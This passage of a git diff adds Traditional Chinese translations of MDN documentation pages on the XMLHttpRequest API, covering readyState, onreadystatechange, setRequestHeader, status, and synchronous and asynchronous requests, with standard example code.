+slug: Web/API/XMLHttpRequest/onreadystatechange
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
+<p>An <a href="/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>EventHandler</code></a> that is called whenever the <code>readyState</code> attribute changes. The callback is called from the user interface thread. The <strong><code>XMLHttpRequest.onreadystatechange</code></strong> property contains the event handler to be called when the {{event("readystatechange")}} event is fired, that is every time the {{domxref("XMLHttpRequest.readyState", "readyState")}} property of the {{domxref("XMLHttpRequest")}} changes.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> This should not be used with synchronous requests and must not be used from native code.</p>
+</div>
+
+<p>The <code>readystatechange</code> event will not be fired when an <code>XMLHttpRequest</code> request is cancelled with the <a href="/docs/Web/API/XMLHttpRequest/abort">abort()</a> method.</p>
+
+<div class="note">
+<p>UPDATE: it's firing in the latest version of browsers (Firefox 51.0.1, Opera 43.0.2442.991, Safari 10.0.3 (12602.4.8), Chrome 54.0.2840.71, Edge, IE11). Example <a href="https://jsfiddle.net/merksam/ve5oc0gn/">here</a> - just reaload page few times.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="值">值</h3>
+
+<ul>
+ <li><code><em>callback</em></code> is the function to be executed when the <code>readyState</code> changes.</li>
+</ul>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+        if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
+            console.log(xhr.responseText);
+        }
+    };
+xhr.send();</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(1.2)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer version 5 and 6 supported ajax calls using <code>ActiveXObject()</code>.</p>
diff --git a/files/zh-tw/web/api/xmlhttprequest/readystate/index.html b/files/zh-tw/web/api/xmlhttprequest/readystate/index.html
new file mode 100644
index 0000000000..3f7e909fe0
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/readystate/index.html
@@ -0,0 +1,148 @@
+---
+title: XMLHttpRequest.readyState
+slug: Web/API/XMLHttpRequest/readyState
+translation_of: Web/API/XMLHttpRequest/readyState
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong>XMLHttpRequest.readyState</strong> 屬性會回傳一個 XMLHttpRequest 客戶端物件目前的狀態。一個 <abbr title="XMLHttpRequest">XHR</abbr> 客戶端可以為下列其中一種狀態：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">值</td>
+   <td class="header">狀態</td>
+   <td class="header">說明</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>UNSENT</code></td>
+   <td>客戶端已被建立，但 <code>open()</code> 方法尚未被呼叫。</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPENED</code></td>
+   <td><code>open()</code> 方法已被呼叫。</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>HEADERS_RECEIVED</code></td>
+   <td><code>send()</code> 方法已被呼叫，而且可取得 header 與狀態。</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>LOADING</code></td>
+   <td>回應資料下載中，此時 <code>responseText</code> 會擁有部分資料。</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td><code>DONE</code></td>
+   <td>完成下載操作。</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>UNSENT</dt>
+ <dd>XMLHttpRequest 客戶端物件已被建立，但 open() 方法尚未被呼叫。</dd>
+ <dt>OPENED</dt>
+ <dd>open() 方法已被呼叫。於此狀態時，可以使用 <a href="/zh-TW/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader()</a> 方法設定請求標頭（request headers），並可呼叫 <a href="/zh-TW/docs/Web/API/XMLHttpRequest/send">send()</a> 方法來發送請求。</dd>
+ <dt>HEADERS_RECEIVED</dt>
+ <dd>send() 方法已被呼叫，並且已接收到回應標頭（response header）。</dd>
+ <dt>LOADING</dt>
+ <dd>正在接收回應內容（response's body）。如 <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> 屬性為 "text" 或空字串，則 <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest/responseText">responseText</a></code> 屬性將會在載入的過程中擁有已載入部分之回應（response）內容中的文字。</dd>
+ <dt>DONE</dt>
+ <dd>請求操作已完成。這意味著資料傳輸可能已成功完成或是已失敗。</dd>
+</dl>
+
+<div class="note">
+<p>這些狀態名稱在 Internet Explorer 中略有不同。其中 <code>UNSENT</code>, <code>OPENED</code>,<code> HEADERS_RECEIVED</code>,<code> LOADING</code> 和 <code>DONE 變成了 READYSTATE_UNINITIALIZED</code> (0), <code>READYSTATE_LOADING</code> (1), <code>READYSTATE_LOADED</code> (2), <code>READYSTATE_INTERACTIVE</code> (3) 和<code>READYSTATE_COMPLETE</code> (4)。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState will be 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState will be 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState will be 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState will be 4
+};
+
+xhr.send(null);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#states')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatIe(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("1.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/xmlhttprequest/setrequestheader/index.html b/files/zh-tw/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..a8219e7240
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,66 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>{{domxref("XMLHttpRequest")}} 物件中的 <code><strong>setRequestHeader()</strong></code> 方法用來設定 HTTP 的表頭請求。當使用 <code>setRequestHeader()</code> 的時候，必須在 {{domxref("XMLHttpRequest.open", "open()")}} 之後呼叫，同時也必須在 {{domxref("XMLHttpRequest.send", "send()")}} 之前呼叫。如果這個方法被呼叫了許多次，且設定的表頭是一樣的，那所有設定的值會被合併成一個單一的表頭請求。</p>
+
+<p>在第一次呼叫 <code>setRequestHeader()</code> 之後的每一次的呼叫，都會把給定的文字附加在已存在的表頭內容之後。</p>
+
+<p>If no {{HTTPHeader("Accept")}} header has been set using this, an <code>Accept</code> header with the type <code>"*/*"</code> is sent with the request when {{domxref("XMLHttpRequest.send", "send()")}} is called.</p>
+
+<p>基於安全的理由，有些表頭只有使用者代理器可以使用。這些表頭包含了： {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For your custom fields, you may encounter a "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>" exception when you send requests across domains. In this situation, you need to set up the {{HTTPHeader("Access-Control-Allow-Headers")}} in your response header at server side.</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.setRequestHeader(<var>header</var>, <var>value</var>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>想要設定所屬值的表頭名稱。</dd>
+ <dt><code>value</code></dt>
+ <dd>用來設定表頭本身的值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">未定義</span></font>。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-setrequestheader()-method', 'setRequestHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.setRequestHeader")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/xmlhttprequest/status/index.html b/files/zh-tw/web/api/xmlhttprequest/status/index.html
new file mode 100644
index 0000000000..c54ece9939
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/status/index.html
@@ -0,0 +1,115 @@
+---
+title: XMLHttpRequest.status
+slug: Web/API/XMLHttpRequest/status
+translation_of: Web/API/XMLHttpRequest/status
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><strong>XMLHttpRequest.status</strong> 屬性根據XMLHttpRequest的回應傳回數值化的狀況編碼。狀況編碼為一正短整數（<code>unsigned short）。</code>Before the request is complete, the value of <code>status</code> will be <code>0</code>. It is worth noting that browsers report a status of 0 in case of XMLHttpRequest errors too.</p>
+
+<p>The status codes returned are the standard <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP status codes</a>. For example, <code>status</code> <code>200</code> denotes a successful request. If the server response doesn't explicitly specify a status code, <code>XMLHttpRequest.status</code> will assume the default value of <code>200</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.status);
+
+xhr.open('GET', '/server', true);
+console.log('OPENED', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE', xhr.status);
+};
+
+xhr.send(null);
+
+/**
+ * Outputs the following:
+ *
+ * UNSENT 0
+ * OPENED 0
+ * LOADING 200
+ * DONE 200
+ */
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-status-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("1.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer versions 5 and 6 lacked the XMLHttpRequest object, but provided a way to make AJAX requests using <code>ActiveXObject</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>List of <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/zh-tw/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..e8a148b5a9
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,260 @@
+---
+title: Synchronous and asynchronous requests
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p><code>XMLHttpRequest 支持同步和非同步請求，一般來說，建議使用非同步請求。</code></p>
+
+<p>In short, synchronous requests block the execution of code which creates "freezing" on the screen and an unresponsive user experience. </p>
+
+<h2 id="非同步請求">非同步請求</h2>
+
+<p>If you use <code>XMLHttpRequest</code> from an extension, you should use it asynchronously.  In this case, you receive a callback when the data has been received, which lets the browser continue to work as normal while your request is being handled.</p>
+
+<h3 id="範例_send_a_file_to_the_console_log">範例: send a file to the console log</h3>
+
+<p>這是使用非同步<span style="font-family: consolas,monaco,andale mono,monospace;">XMLHttpRequest的基本方式</span></p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>Line 2第3個參數為布林值，true表示非同步請求。</p>
+
+<p>Line 3 creates an event handler function object and assigns it to the request's <code>onload</code> attribute.  This handler looks at the request's <code>readyState</code> to see if the transaction is complete in line 4, and if it is, and the HTTP status is 200, dumps the received content.  If an error occurred, an error message is displayed.</p>
+
+<p>Line 15 actually initiates the request.  The callback routine is called whenever the state of the request changes.</p>
+
+<h3 id="Example_creating_a_standard_function_to_read_external_files">Example: creating a standard function to read external files</h3>
+
+<p>In some cases you must read many external files. This is a standard function which uses the <code>XMLHttpRequest</code> object asynchronously in order to switch the content of the read file to a specified listener.</p>
+
+<pre class="brush: js">function xhrSuccess () { this.callback.apply(this, this.arguments); }
+
+function xhrError () { console.error(this.statusText); }
+
+function loadFile (sURL, fCallback /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oReq = new XMLHttpRequest();
+  oReq.callback = fCallback;
+  oReq.arguments = Array.prototype.slice.call(arguments, 2);
+  oReq.onload = xhrSuccess;
+  oReq.onerror = xhrError;
+  oReq.open("get", sURL, true);
+  oReq.send(null);
+}
+</pre>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (sMsg) {
+  alert(sMsg + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>Line 1 declares a function which will pass all arguments after the third to the <font face="Courier New, Andale Mono, monospace"><span style="line-height: normal;">callback </span></font>function when the file has been loaded.</p>
+
+<p>Line 4 creates an event handler function object and assigns it to the request's <code>onload</code> attribute.  This handler looks at the request's <code>readyState</code> to see if the transaction is complete in line 5, and if it is, and the HTTP status is 200, calls the callback function.  If an error occurred, an error message is displayed.</p>
+
+<p>Line 13 specifies <code>true</code> for its third parameter to indicate that the request should be handled asynchronously.</p>
+
+<p>Line 14 actually initiates the request.</p>
+
+<h3 id="Example_using_a_timeout">Example: using a timeout</h3>
+
+<p>You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the <code>timeout</code> property on the <code>XMLHttpRequest</code> object, as shown in the code below:</p>
+
+<pre class="brush: js">  var args = arguments.slice(2);
+  var xhr = new XMLHttpRequest();
+  xhr.ontimeout = function () {
+    console.error("The request for " + url + " timed out.");
+  };
+  xhr.onload = function() {
+    if (xhr.readyState === 4) {
+      if (xhr.status === 200) {
+        callback.apply(xhr, args);
+      } else {
+        console.error(xhr.statusText);
+      }
+    }
+  };
+  xhr.open("GET", url, true);
+  xhr.timeout = timeout;
+  xhr.send(null);
+}
+</pre>
+
+<p>Notice the addition of code to handle the "timeout" event by setting the <code>ontimeout</code> handler.</p>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (sMsg) {
+  alert(sMsg + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>Here, we're specifying a timeout of 2000 ms.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Support for <code>timeout</code> was added in {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>In rare cases, the use of a synchronous method is preferable to an asynchronous one.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request.  The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed.  If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en/DOM/Worker" title="/en/DOM/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en/DOM/XMLHttpRequest" title="/en/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en/DOM/Worker" title="/en/DOM/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in background with the server or to preload some content. See <a class="internal" href="/En/DOM/Using_web_workers" title="en/Using DOM workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Irreplaceability_of_the_synchronous_use">Irreplaceability of the synchronous use</h3>
+
+<p>There are some few cases in which the synchronous usage of XMLHttpRequest is not replaceable. This happens for example during the <a class="internal" href="/en/DOM/window.onunload" title="en/DOM/window.onunload"><code>window.onunload</code></a> and <a class="internal" href="/en/DOM/window.onbeforeunload" title="en/DOM/window.onbeforeunload"><code>window.onbeforeunload</code></a> events (<a class="internal" href="#XMLHttpRequests_being_stopped" title="en/XMLHttpRequest/Using_XMLHttpRequest#XMLHttpRequests_being_stopped">see also below</a>).</p>
+
+<p>Sending the usual XMLHttpRequest when the page unloaded poses a problem with the asynchronous response from the server: by the time the response comes back, the page has unloaded and the callback function won’t exist anymore. This generates a JavaScript “function is not defined” error.</p>
+
+<p style="text-align: center;"><img alt="" class="internal" src="/@api/deki/files/6227/=AsyncUnload.jpg" style="height: 359px; width: 467px;"></p>
+
+<p>A possible solution is to make sure that any AJAX requests that you make on unload are make synchronously instead of asynchronously. This will ensure that the page doesn’t finish unloading before the server response comes back.</p>
+
+<h4 id="Example_1_Automatic_logout_before_exit">Example #1: Automatic logout before exit</h4>
+
+<pre class="brush: js">window.onbeforeunload = function () {
+  var xhr = new XMLHttpRequest();
+  xhr.open("GET", "logout.php?nick=" + escape(myName), false);  // synchronous request
+  xhr.send(null);
+  if (xhr.responseText.trim() !== "logout done"); {  // "logout done" is the expected response text
+    return "Logout has failed. Do you want to complete it manually?";
+  }
+};
+</pre>
+
+<h4 id="Example_2_Noting_if_a_user_abandon_the_site_without_clicking_any_link_and_registering_the_boring_page">Example #2: Noting if a user abandon the site without clicking any link and registering the boring page</h4>
+
+<pre class="brush: js">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+(function () {
+
+  function dontPanic () {
+    bForsake = false;
+    return true;
+  }
+
+  onload = function () {
+    for (
+      var aLinks = document.links, nLen = aLinks.length, nIdx = 0;
+      nIdx &lt; nLen;
+      aLinks[nIdx++].onclick = dontPanic
+    );
+  };
+
+  onbeforeunload = function () {
+    if (bForsake) {
+      /* silent synchronous request */
+      var oReq = new XMLHttpRequest();
+      oReq.open("GET", "exit.php?leave=" + escape(location.href), false);
+      oReq.send(null);
+    }
+  };
+
+  var bForsake = true;
+
+})();
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;&lt;a href="https://developer.mozilla.org/"&gt;Example link&lt;/a&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest" title="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest" title="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a></li>
+</ul>
+
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" } ) }}</p>
diff --git a/files/zh-tw/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/zh-tw/web/api/xmlhttprequest/using_xmlhttprequest/index.html
new file mode 100644
index 0000000000..97b03c21d1
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -0,0 +1,766 @@
+---
+title: 使用 XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+tags:
+  - AJAX
+  - AJAXfile
+  - Advanced
+  - DOM
+  - JXON
+  - MakeBrowserAgnostic
+  - NeedsCompatTable
+  - XML
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p>要送出一個 HTTP 請求，需要建立一個 {{domxref("XMLHttpRequest")}} 物件、開啟一個 URL，並發起一個請求。在交易（transaction）完成後，<code>XMLHttpRequest</code> 物件將會包含如回應內容（response body）及 <a href="/docs/Web/HTTP/Status">HTTP 狀態</a>等等請求結果中的有用資訊。本頁概述了一些常見的、甚至略為難理解的 <code>XMLHttpRequest</code> 物件使用案例。</p>
+
+<pre class="brush: js">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.addEventListener("load", reqListener);
+oReq.open("GET", "http://www.example.org/example.txt");
+oReq.send();</pre>
+
+<h2 id="請求類型">請求類型</h2>
+
+<p>透過 <code>XMLHttpRequest</code> 建立的請求，其取得資料的方式可以為非同步（asynchronously）或同步（synchronously）兩種之一。請求的種類是由 {{domxref("XMLHttpRequest.open()")}} 方法的選擇性參數 <code>async</code>（第三個參數）決定。若 <code>async</code> 參數為 <code>true</code> 或是未指定，<code>XMLHttpRequest</code> 會被設定為非同步，相反的若為 <code>false</code> 則會被設定為同步。這兩種請求類型的細節討論與示範可以在<a href="/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">同步與非同步請求</a>頁面中找到。一般來說，很少會使用到同步請求。</p>
+
+<div class="note"><strong>備註：</strong>自 Gecko 30.0 {{ geckoRelease("30.0") }} 開始，在主執行緒上的同步請求因其差勁的使用者體驗已被棄用。</div>
+
+<h2 id="處理回應">處理回應</h2>
+
+<p><code>XMLHttpRequest</code> 的活動標準規範（living standard specification）定義了數個 <code>XMLHttpRequest</code> 建構出之物件的<a href="https://xhr.spec.whatwg.org/">回應屬性</a>。這些回應屬性告訴客戶端關於 <code>XMLHttpRequest</code> 回應狀態的重要資訊。一些處理非文字類型回應的案例可能會需要一些在下面小節所說明的分析和操作。</p>
+
+<h3 id="分析及操作_responseXML_屬性">分析及操作 <code>responseXML</code> 屬性</h3>
+
+<p>透過 <code>XMLHttpRequest</code> 取得一個遠端的 XML 文件內容時，<code>responseXML</code> 屬性（{{Glossary("property/JavaScript", "property")}}）將會是一個由 XML 文件解析而來的 DOM 物件。這可能會造成分析和操作上的一些困難，以下有四種主要的 XML 文件分析方式：</p>
+
+<ol>
+ <li>利用 <a href="/docs/Web/XPath">XPath</a> 指向需要部份。</li>
+ <li>手動的<a href="/docs/Web/Guide/Parsing_and_serializing_XML">解析與序列化 XML</a> 成字串或物件。</li>
